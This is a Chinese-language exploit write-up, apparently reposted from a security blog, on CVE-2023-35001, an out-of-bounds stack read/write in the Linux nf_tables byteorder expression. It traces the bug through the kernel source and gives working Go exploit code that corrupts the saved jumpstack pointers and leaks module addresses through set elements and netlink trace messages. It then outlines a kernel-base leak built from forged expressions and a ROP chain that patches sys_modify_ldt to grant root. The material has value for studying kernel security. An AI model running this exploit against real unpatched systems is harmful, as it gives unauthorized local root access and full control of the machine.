简介
阅读本篇文章前，读者需要了解nf_tables中的虚拟机构成和执行过程。
漏洞存在于nf_tables模块的byteorder表达式执行过程，可导致栈溢出。
内核版本5.19.10、编译选项选中nf_tables相关选项。不要开启KASAN，会影响栈的布局。
内核启动后先insmod安装libcrc32c.ko再安装nf_tables.ko。
漏洞分析
下面是nft_byteorder_eval代码。这个函数实现了端序的转换。
首先可以看到s和d指针指向一个union，这个union的实际大小由u32而非u16决定。
void nft_byteorder_eval(const struct nft_expr *expr,struct nft_regs *regs,const struct nft_pktinfo *pkt){const struct nft_byteorder *priv = nft_expr_priv(expr);u32 *src = ®s->data[priv->sreg];u32 *dst = ®s->data[priv->dreg];union { u32 u32; u16 u16; } *s, *d;unsigned int i;
在下面case2的情况中，代码会迭代访问s，长度由priv->len / 2决定。
假如传入了8个字节，priv->len/2等于4，那么i最大为3，s指向4字节的union，s[3]指向12字节偏移处。这里开发者忽视了union的存在，以为访问u16就是两个字节偏移。实际上每次迭代，地址偏移都会增加4字节，而不是2字节。
s = (void *)src;d = (void *)dst;switch (priv->size) {//...case 2:switch (priv->op) {case NFT_BYTEORDER_NTOH:for (i = 0; i < priv->len / 2; i++)d[i].u16 = ntohs((__force __be16)s[i].u16);break;case NFT_BYTEORDER_HTON:for (i = 0; i < priv->len / 2; i++)d[i].u16 = (__force __u16)htons(s[i].u16);break;}break;}}
漏洞利用
漏洞效果
由上面分析可以知道，可以对s和d指针指向的内存进行越界读写。
s和d指向的内存指向regs的内部寄存器。
u32 *src = ®s->data[priv->sreg];u32 *dst = ®s->data[priv->dreg];
regs指针是nft_byteorder_eval的参数，让我们追溯一下regs的来源
expr_call_ops_eval调用nft_byteorder_eval
static void expr_call_ops_eval(const struct nft_expr *expr,struct nft_regs *regs,struct nft_pktinfo *pkt){unsigned long e = (unsigned long)expr->ops->eval;do { ((e) == (unsigned long)(fun))return fun(expr, regs, pkt); } while (0)//...X(e, nft_byteorder_eval);X(e, nft_dynset_eval);X(e, nft_rt_get_eval);X(e, nft_bitwise_eval);expr->ops->eval(expr, regs, pkt);}
最终可以知道其来自nft_do_chain函数的regs局部变量
unsigned intnft_do_chain(struct nft_pktinfo *pkt, void *priv){const struct nft_chain *chain = priv, *basechain = chain;const struct nft_rule_dp *rule, *last_rule;const struct net *net = nft_net(pkt);const struct nft_expr *expr, *last;struct nft_regs regs = {};unsigned int stackptr = 0;struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];bool genbit = READ_ONCE(net->nft.gencursor);struct nft_rule_blob *blob;struct nft_traceinfo info;//...
那么我们可以知道这个漏洞越界效果：越界读写regs及其更高地址的内容。
为了能够越界得够多，我们可以看看priv->len、priv->sreg能设置成多少。
这些检测都在nft_byteorder_init中实现，见下面代码注释
下面接着看这两个函数nft_parse_register_load、nft_parse_register_store如何检查
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len){u32 reg;int err;err = nft_parse_register(attr, ®);[1]if (err < 0)return err;err = nft_validate_register_load(reg, len);[2]if (err < 0)return err;*sreg = reg;return 0;}
int nft_parse_register_store(const struct nft_ctx *ctx,const struct nlattr *attr, u8 *dreg,const struct nft_data *data,enum nft_data_types type, unsigned int len){int err;u32 reg;err = nft_parse_register(attr, ®);[1]if (err < 0)return err;err = nft_validate_register_store(ctx, reg, data, type, len);[3]if (err < 0)return err;*dreg = reg;return 0;}
我们继续看
[1]nft_parse_register、
[2]nft_validate_register_load、[3]nft_validate_register_store
[1]从下面代码中可以知道我们传给内核的寄存器编号范围是04和823，之后还要进行转换。
如果是04，则再乘上2。如果是823，则减少4。
static int nft_parse_register(const struct nlattr *attr, u32 *preg){unsigned int reg;reg = ntohl(nla_get_be32(attr));switch (reg) {case NFT_REG_VERDICT...NFT_REG_4://0~4*preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE;break;case NFT_REG32_00...NFT_REG32_15://8~23*preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;break;default:return -ERANGE;}return 0;}
比如通过下面代码配置表达式
&expr.Byteorder{SourceRegister: 8,DestRegister: 18,Op: expr.ByteorderHton,Len: 22,Size: 2,},
因为8在范围8~23，最终表达式的source register编号是4。
[2]reg大于等于4，reg * 4 + len小于等于80（此处的reg是转换后的reg）
static int nft_validate_register_load(enum nft_registers reg, unsigned int len){if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)//reg大于等于4return -EINVAL;if (len == 0)return -EINVAL;// reg*4 + len <= 80if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))return -ERANGE;return 0;}
[3]reg大于等于4，reg * 4 + len小于等于80
static int nft_validate_register_store(const struct nft_ctx *ctx,enum nft_registers reg,const struct nft_data *data,enum nft_data_types type,unsigned int len){int err;switch (reg) {//...default:if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)return -EINVAL;if (len == 0)return -EINVAL;if (reg * NFT_REG32_SIZE + len >sizeof_field(struct nft_regs, data))return -ERANGE;if (data != NULL && type != NFT_DATA_VALUE)return -EINVAL;return 0;}}
可见nft_validate_register_store和
nft_validate_register_load的限制是一样的。
通过静态或者动态调试可以知道，我们越界读写的范围足够到达nft_do_chain函数中与regs相邻的jumpstack第一个元素
下面可以看看jumpstack是做什么的
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];因为虚拟机在下面代码遍历chain、rule时会发生跳转（类似汇编程序中的jump）。
unsigned intnft_do_chain(struct nft_pktinfo *pkt, void *priv){//...next_rule:regs.verdict.code = NFT_CONTINUE;for (; rule < last_rule; rule = nft_rule_next(rule)) {nft_rule_dp_for_each_expr(expr, last, rule) {//...if (regs.verdict.code != NFT_CONTINUE)break;//发生跳转判断，}switch (regs.verdict.code) {case NFT_BREAK://如果是NFT_BREAK就不会跳出外层regs.verdict.code = NFT_CONTINUE;continue;case NFT_CONTINUE:nft_trace_packet(&info, chain, rule,NFT_TRACETYPE_RULE);continue;}break;//如果是NFT_RETURN、NFT_JUMP等就会跳出外层循环}
jumpstack是用来存放跳转前chain和rule的（类似函数调用栈保存返回地址）。
switch (regs.verdict.code) {case NFT_JUMP:if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))return NF_DROP;jumpstack[stackptr].chain = chain;jumpstack[stackptr].rule = nft_rule_next(rule);jumpstack[stackptr].last_rule = last_rule;stackptr++;fallthrough;
下面是struct nft_jumpstack定义
struct nft_jumpstack {const struct nft_chain *chain;const struct nft_rule_dp *rule;const struct nft_rule_dp *last_rule;};
NFT_JUMP可以触发虚拟机入栈的操作
switch (regs.verdict.code) {case NFT_JUMP:if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))return NF_DROP;jumpstack[stackptr].chain = chain;jumpstack[stackptr].rule = nft_rule_next(rule);jumpstack[stackptr].last_rule = last_rule;stackptr++;fallthrough;
如果在入栈后越界读写，就能泄漏篡改入栈的chain、rule、last_rule
此效果才是我们本次着重注意的漏洞效果
泄露模块地址
trace传递消息
注意nft_do_chain函数的遍历rule过程中调用了nft_trace_packet，这个nft_trace_packet函数是我们泄漏信息的重要函数。
同时注意它的第四个参数是NFT_TRACETYPE_RULE
for (; rule < last_rule; rule = nft_rule_next(rule)) {nft_rule_dp_for_each_expr(expr, last, rule) {//...}switch (regs.verdict.code) {//...case NFT_CONTINUE:nft_trace_packet(&info, chain, rule,NFT_TRACETYPE_RULE);continue;}break;}
让我们看看源代码
static inline void nft_trace_packet(struct nft_traceinfo *info,const struct nft_chain *chain,const struct nft_rule_dp *rule,enum nft_trace_types type){if (static_branch_unlikely(&nft_trace_enabled)) {info->rule = rule;__nft_trace_packet(info, chain, type);}}static noinline void __nft_trace_packet(struct nft_traceinfo *info,const struct nft_chain *chain,enum nft_trace_types type){const struct nft_pktinfo *pkt = info->pkt;if (!info->trace || !pkt->skb->nf_trace)return;info->chain = chain;info->type = type;//type为NFT_TRACETYPE_RULEnft_trace_notify(info);}
通过nft_trace_notify源代码可以知道，它的作用是把一些信息通过netlink发送给用户程序。我们可以通过这个功能来泄漏地址信息。
void nft_trace_notify(struct nft_traceinfo *info){const struct nft_pktinfo *pkt = info->pkt;struct nlmsghdr *nlh;struct sk_buff *skb;unsigned int size;u16 event;if (!nfnetlink_has_listeners(nft_net(pkt), NFNLGRP_NFTRACE))[1]return;size = nlmsg_total_size(sizeof(struct nfgenmsg)) +nla_total_size(strlen(info->chain->table->name)) +nla_total_size(strlen(info->chain->name)) +nla_total_size_64bit(sizeof(__be64)) + /* rule handle */[2]nla_total_size(sizeof(__be32)) + /* trace type */nla_total_size(0) + /* VERDICT, nested */nla_total_size(sizeof(u32)) + /* verdict code */nla_total_size(sizeof(u32)) + /* id */nla_total_size(NFT_TRACETYPE_LL_HSIZE) +nla_total_size(NFT_TRACETYPE_NETWORK_HSIZE) +nla_total_size(NFT_TRACETYPE_TRANSPORT_HSIZE) +nla_total_size(sizeof(u32)) + /* iif */nla_total_size(sizeof(__be16)) + /* iiftype */nla_total_size(sizeof(u32)) + /* oif */nla_total_size(sizeof(__be16)) + /* oiftype */nla_total_size(sizeof(u32)) + /* mark */nla_total_size(sizeof(u32)) + /* nfproto */nla_total_size(sizeof(u32)); /* policy *///...if (nf_trace_fill_rule_info(skb, info))[3]goto nla_put_failure;switch (info->type) {//...case NFT_TRACETYPE_RULE:if (nft_verdict_dump(skb, NFTA_TRACE_VERDICT, info->verdict))goto nla_put_failure;break;//...}//...nlmsg_end(skb, nlh);nfnetlink_send(skb, nft_net(pkt), 0, NFNLGRP_NFTRACE, 0, GFP_ATOMIC);return;//...}
[1]只有加入netlink的NFNLGRP_NFTRACE组后才能接受到消息
[2]可以把泄漏地址放到handle，空间比较大
[3]具体代码如下，它会把info->rule->handle放入消息中
static int nf_trace_fill_rule_info(struct sk_buff *nlskb,const struct nft_traceinfo *info){if (!info->rule || info->rule->is_last)return 0;/* a continue verdict with ->type == RETURN means that this is* an implicit return (end of chain reached).** Since no rule matched, the ->rule pointer is invalid.*/if (info->type == NFT_TRACETYPE_RETURN &&info->verdict->code == NFT_CONTINUE)return 0;return nla_put_be64(nlskb, NFTA_TRACE_RULE_HANDLE,cpu_to_be64(info->rule->handle),NFTA_TRACE_PAD);}
rule内存布局
既然我们篡改了rule指针的指向地址，那么还是先需要了解rule指向的内存布局
struct nft_rule_dp {u64 is_last:1,dlen:12,handle:42; /* for tracing */unsigned char data[]__attribute__((aligned(__alignof__(struct nft_expr))));};
下面宏告诉我们data地址即是expr地址，那么expr是储存在data中的
#define nft_rule_expr_first(rule) (struct nft_expr *)&rule->data[0]一个expr接着下一个expr
#define nft_rule_expr_next(expr) ((void *)expr) + expr->ops->size通过dlen获得last expr
#define nft_rule_expr_last(rule) (struct nft_expr *)&rule->data[rule->dlen]下面是expr的for循环宏，如果地址等于last expr就推出循环。注意这个last expr是下一个rule的expr。
#define nft_rule_dp_for_each_expr(expr, last, rule)for ((expr) = nft_rule_expr_first(rule), (last) = nft_rule_expr_last(rule);(expr) != (last);(expr) = nft_rule_expr_next(expr))
获取下一个rule的宏
#define nft_rule_next(rule) (void *)rule + sizeof(*rule) + rule->dlenexpr的ops指向函数表
struct nft_expr {const struct nft_expr_ops *ops;unsigned char data[]__attribute__((aligned(__alignof__(u64))));};
如果篡改rule指针使得handle对应ops的低位（这里省略了rule的内存布局分析），那么就能泄漏ops的大部分地址，加上高位都是1的前提，我们就知道了ops的地址。ops是全局变量，所以可以推出模块地址。
struct nft_rule {struct list_head list;u64 handle:42,genmask:2,dlen:12,udata:1;unsigned char data[]__attribute__((aligned(__alignof__(struct nft_expr))));};
泄漏入栈的指针
首先因为表达式设置是确定的，所以偏移是确定的。我们要让rule指向靠近ops的位置，只需要泄漏chain、rule、last_rule指针，把他们加上一个偏移就能得到目标地址，再越界写来篡改。
可以通过NFT_MSG_GETSETELEM消息来获得set中的element。
/*** enum nf_tables_msg_types - nf_tables netlink message types...* @NFT_MSG_GETSETELEM: get a set element (enum nft_set_elem_attributes)
越界读是把到的16bits数据保存到寄存器及更高地址位置，而寄存器可以把它的值放入set中。
而set的element（包括键和值）我们可以通过NFT_MSG_GETSETELEM消息来获得。这样我们就能泄漏入栈的rule指针了。
exp编写
我们用go来编写，下面是要用到的库
import ("bytes""encoding/binary""fmt""github.com/google/nftables""github.com/google/nftables/expr""github.com/mdlayher/netlink""github.com/vishvananda/netns""golang.org/x/sys/unix""net""os/exec""runtime""unsafe")
先创建conn对象，用于向nftables添加或删除table、chain等结构。
conn, err := nftables.New(nftables.WithNetNSFd(int(ns)))if err != nil {panic(err)}conn.FlushRuleset()
创建要jump到的table等，通过set可以泄漏少量字节，用于泄漏rule指针低字节地址
my_table := conn.AddTable(&nftables.Table{Name: "my_table",Family: nftables.TableFamilyIPv4,})my_set := nftables.Set{Anonymous: false,Constant: false,Name: "my_set",ID: 1,IsMap: true,Table: my_table,KeyType: nftables.TypeInteger,DataType: nftables.TypeInteger,}err := conn.AddSet(&my_set, nil)if err != nil {panic(err)}my_chain := conn.AddChain(&nftables.Chain{Name: "my_chain",Table: my_table,})
添加可以越界读的rule，最后一个表达式用于开启NFT_META_NFTRACE，这样才能获得Dynset的element。
conn.AddRule(&nftables.Rule{Table: my_table,Chain: my_chain,Exprs: []expr.Any{&expr.Byteorder{SourceRegister: 18,DestRegister: 8,Op: expr.ByteorderHton,Len: 24,Size: 2,},&expr.Immediate{Register: 8,Data: []byte{0x00, 0x00, 0x00, 0x00},},&expr.Dynset{SrcRegKey: 8,SrcRegData: 14,SetName: "my_set",Operation: uint32(unix.NFT_DYNSET_OP_ADD),},&expr.Immediate{Register: 8,Data: []byte{0x01, 0x00, 0x00, 0x00},},&expr.Dynset{SrcRegKey: 8,SrcRegData: 15,SetName: "my_set",Operation: uint32(unix.NFT_DYNSET_OP_ADD),},&expr.Immediate{Register: 8,Data: []byte{0x02, 0x00, 0x00, 0x00},},&expr.Dynset{SrcRegKey: 8,SrcRegData: 16,SetName: "my_set",Operation: uint32(unix.NFT_DYNSET_OP_ADD),},&expr.Immediate{Register: 8,Data: []byte{0x03, 0x00, 0x00, 0x00},},&expr.Dynset{SrcRegKey: 8,SrcRegData: 17,SetName: "my_set",Operation: uint32(unix.NFT_DYNSET_OP_ADD),},&expr.Immediate{Register: 8,Data: []byte{0x04, 0x00, 0x00, 0x00},},&expr.Dynset{SrcRegKey: 8,SrcRegData: 18,SetName: "my_set",Operation: uint32(unix.NFT_DYNSET_OP_ADD),},&expr.Immediate{Register: 8,Data: []byte{0x05, 0x00, 0x00, 0x00},},&expr.Dynset{SrcRegKey: 8,SrcRegData: 19,SetName: "my_set",Operation: uint32(unix.NFT_DYNSET_OP_ADD),},&expr.Meta{Key: unix.NFT_META_NFTRACE,SourceRegister: true,Register: 8,},},})
发送所有缓存命令
conn.Flush()添加jump chain，用于跳到上面的chain，并入栈当前rule等指针。
a := nftables.ChainPolicyAcceptjump_chain := conn.AddChain(&nftables.Chain{Name: "first_chain",Table: my_table,Type: nftables.ChainTypeFilter,Hooknum: nftables.ChainHookInput,Priority: nftables.ChainPriorityFilter,Policy: &a,})conn.AddRule(&nftables.Rule{Table: my_table,Chain: jump_chain,Exprs: []expr.Any{&expr.Immediate{Register: 8,Data: []byte{0x01, 0x01, 0x01, 0x01},},&expr.Verdict{Kind: expr.VerdictJump,Chain: "my_chain",},&expr.Verdict{Kind: expr.VerdictReturn,Chain: "my_chain",},},})conn.Flush()
发一个udp报文，其会进入jump_chain的逻辑，然后代码会跳到my_chain的逻辑
send_packet()func send_packet() {tx, err := net.DialUDP("udp", nil, &net.UDPAddr{IP: net.IPv4(127, 0, 0, 1),Port: 9999,})if err != nil {panic(err)}tx.Write([]byte{0x66, 0x66, 0x66, 0x66})tx.Close()}
my_chain的逻辑中会越界读，把chain、rule、last_rule部分指针字节保存到SrcRegData: 14~19位置
SrcRegData: 14~19又作为值储存到Dynset中（键名由SrcRegKey: 8指定）
读取set，计算好地址（具体偏移可以通过动态调试获得），再越界写入
elems, err := conn.GetSetElements(&my_set)if err != nil {panic(err)}offsets := []uint16{0, 0, 0, 0, 0, 0}for _, elem := range elems {key := binary.LittleEndian.Uint32(elem.Key)val := binary.BigEndian.Uint16(elem.Val)offsets[key] = val}for i, v := range offsets {fmt.Printf("key:0x%x, val:0x%xn", i, v)}chain_low_u16 := offsets[0]chain_high_u16 := offsets[1]rule_low_u16 := offsets[2]rule_hish_u16 := offsets[3]last_rule_low_u16 := offsets[4]fmt.Printf("chain_low_u16:0x%x rule_low_u16:0x%x last_rule_low_u16:0x%xn",chain_low_u16, rule_low_u16, last_rule_low_u16)new_chain_low_u16 := chain_low_u16new_rule_low_u16 := rule_low_u16 - 0x40 - 2new_last_rule_low_u16 := new_rule_low_u16 + 8new_chain_low_u16_buff := make([]byte, 2)binary.BigEndian.PutUint16(new_chain_low_u16_buff, new_chain_low_u16)chain_high_u16_buff := make([]byte, 2)binary.BigEndian.PutUint16(chain_high_u16_buff, chain_high_u16)new_rule_low_u16_buff := make([]byte, 2)binary.BigEndian.PutUint16(new_rule_low_u16_buff, new_rule_low_u16)rule_high_u16_buff := make([]byte, 2)binary.BigEndian.PutUint16(rule_high_u16_buff, rule_hish_u16)new_last_rule_low_u16_buff := make([]byte, 2)binary.BigEndian.PutUint16(new_last_rule_low_u16_buff, new_last_rule_low_u16)new_last_rule_low_u16_buff2 := make([]byte, 2)binary.LittleEndian.PutUint16(new_last_rule_low_u16_buff2, new_last_rule_low_u16)conn.FlushChain(my_chain)conn.Flush()conn.AddRule(&nftables.Rule{Table: my_table,Chain: my_chain,Exprs: []expr.Any{&expr.Immediate{Register: 14,Data: new_chain_low_u16_buff,},&expr.Immediate{Register: 15,Data: chain_high_u16_buff,},&expr.Immediate{Register: 16,Data: new_rule_low_u16_buff,},&expr.Immediate{Register: 17,Data: rule_high_u16_buff,},&expr.Immediate{Register: 18,Data: new_last_rule_low_u16_buff,},&expr.Immediate{Register: 8,Data: new_last_rule_low_u16_buff2,},&expr.Byteorder{SourceRegister: 8,DestRegister: 18,Op: expr.ByteorderHton,Len: 22,Size: 2,},&expr.Meta{Key: unix.NFT_META_NFTRACE,SourceRegister: true,Register: 8,},},})fmt.Printf("overwrite chain rule last_rulen")conn.Flush()send_packet()
泄漏handle，即泄漏ops地址，最后推出模块地址
traceconn, err := netlink.Dial(unix.NETLINK_NETFILTER, &netlink.Config{})if err != nil {panic(err)}defer traceconn.Close()err = traceconn.JoinGroup(unix.NFNLGRP_NFTRACE)if err != nil {panic(err)}send_packet()for {messages, err := traceconn.Receive()if err != nil {panic(err)}for _, m := range messages {ad, err := netlink.NewAttributeDecoder(m.Data[4:])if err != nil {panic(err)}ad.ByteOrder = binary.BigEndianfor ad.Next() {if ad.Type() == unix.NFTA_TRACE_RULE_HANDLE {if ad.Uint64() > 0x3fe00000000 {ops_value := (ad.Uint64() >> 3) | (0xffffffffc0000000)fmt.Printf("ops: 0x%xn", ops_value)module_base_address = ops_value - 0x28000fmt.Printf("nf_tables.ko .text address: 0x%xn", module_base_address)conn.FlushTable(my_table)return module_base_address}}}}}return module_base_address
泄露内核地址
观察到比jumpstack更高地址的位置处，有一个内核地址，如果能够泄漏这个地址就能推出内核基地址。
但是我们的越界读不够长，需要使用其他办法。
可以在nft_range_expr（可控空间大）中伪造一个byteorder。表达式初始化时才进行检查，所以不用担心伪造字段数值过大。
struct nft_range_expr {struct nft_data data_from;//可控16字节struct nft_data data_to;//16字节u8 sreg;u8 len;enum nft_range_ops op:8;};
data_from正好可以存放rule头部和nft_byteorder_ops（通过之前泄漏的模块基地址+偏移得到）
struct nft_rule_dp {u64 is_last:1,dlen:12,handle:42; /* for tracing */unsigned char data[]__attribute__((aligned(__alignof__(struct nft_expr))));};
data_to存放伪造的nft_byteorder结构体
下面我们可以回顾nft_byteorder
struct nft_byteorder {u8 sreg;u8 dreg;enum nft_byteorder_ops op:8;u8 len;u8 size;};
我们要读8个字节，如果选择size为4
case 4:switch (priv->op) {case NFT_BYTEORDER_NTOH:for (i = 0; i < priv->len / 4; i++)d[i].u32 = ntohl((__force __be32)s[i].u32);break;case NFT_BYTEORDER_HTON:for (i = 0; i < priv->len / 4; i++)d[i].u32 = (__force __u32)htonl(s[i].u32);break;}break;
那么priv->len / 4=2，priv->len为8
dreg可以选择10
sreg可以通过调试来确定
op可以选择NFT_BYTEORDER_NTOH
为了让nft_do_chain的循环优雅地退出，还是再回顾一下nft_do_chain源代码
假如rule指针指向伪造的nft_byteorder，当nft_byteorder_eval执行完后，会回到循环头部
nft_rule_dp_for_each_expr(expr, last, rule)再回顾这个循环头
for ((expr) = nft_rule_expr_first(rule), (last) = nft_rule_expr_last(rule);(expr) != (last);(expr) = nft_rule_expr_next(expr))
因为是循环刚结束，所以先执行(expr) = nft_rule_expr_next(expr)
因为这个size我们篡改不了，所以要在新expr的位置再伪造一个
作者选择了nft_meta
struct nft_meta {enum nft_meta_keys key:8;u8 len;union {u8 dreg;u8 sreg;};};
ops我们选择nft_meta_get_ops
static const struct nft_expr_ops nft_meta_get_ops = {.type = &nft_meta_type,.size = NFT_EXPR_SIZE(sizeof(struct nft_meta)),.eval = nft_meta_get_eval,.init = nft_meta_get_init,.dump = nft_meta_get_dump,.reduce = nft_meta_get_reduce,.validate = nft_meta_get_validate,.offload = nft_meta_get_offload,};
data_to的高8字节存放nft_meta_get_ops
sreg、len、op分别正好可以存放key、len、dreg
u8 sreg; <------------> enum nft_meta_keys key:8;u8 len; <------------> u8 len;enum nft_range_ops op:8; <-----> union {u8 dreg;u8 sreg;};
byteorder的ops->size正好是0x10，正好可以让下一个expr指向range的尾部，下一个expr原本就应该是range的尾部。简直完美。
这样，内核地址就保存到了虚拟机的寄存器。接下来通过上面方法泄漏即可。
为了缩短篇幅，exp编写略。相信读者很容易就能模仿上面的exp来编写。
控制流劫持
伪造nft_payload表达式，把rop链写到nft_do_chain函数返回地址的位置
struct nft_payload {enum nft_payload_bases base:8;u8 offset;u8 len;u8 dreg;};
nft_payload_eval作用是获得我们发送的报文的一部分字节，并复制到一个地址。
void nft_payload_eval(const struct nft_expr *expr,struct nft_regs *regs,const struct nft_pktinfo *pkt){const struct nft_payload *priv = nft_expr_priv(expr);const struct sk_buff *skb = pkt->skb;u32 *dest = ®s->data[priv->dreg];[1]int offset;if (priv->len % NFT_REG32_SIZE)dest[priv->len / NFT_REG32_SIZE] = 0;switch (priv->base) {//...case NFT_PAYLOAD_TRANSPORT_HEADER:[2]if (!(pkt->flags & NFT_PKTINFO_L4PROTO) || pkt->fragoff)goto err;offset = nft_thoff(pkt);break;//...}offset += priv->offset;if (skb_copy_bits(skb, offset, dest, priv->len) < 0)[3]goto err;return;err:regs->verdict.code = NFT_BREAK;}
[1]这里因为priv->dreg是伪造的，所以dest可以控制到返回地址
[2]设置offset到传输层字节
[3]开始从报文的offset字节偏移处开始复制
我们把rop链字节放到报文合适位置再发送即可
接下来原文作者的rop链如下：
通过set_memory_rw来设置系统调用sys_modify_ldt代码可写
使用copy_from_user_priv来修改sys_modify_ldt代码
修改内容为commit_creds(prepare_kernel_creds(0))
最后调用do_task_dead结束进程
随后，其他进程调用sys_modify_ldt都相当于是调用commit_creds(prepare_kernel_creds(0))
参考链接
https://www.synacktiv.com/en/publications/old-bug-shallow-bug-exploiting-ubuntu-at-pwn2own-vancouver-2023
原文始发于微信公众号（星盟安全）：CVE-2023-35001 - nf_tables - LPE - Pwn2Own Vancouver 2023
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论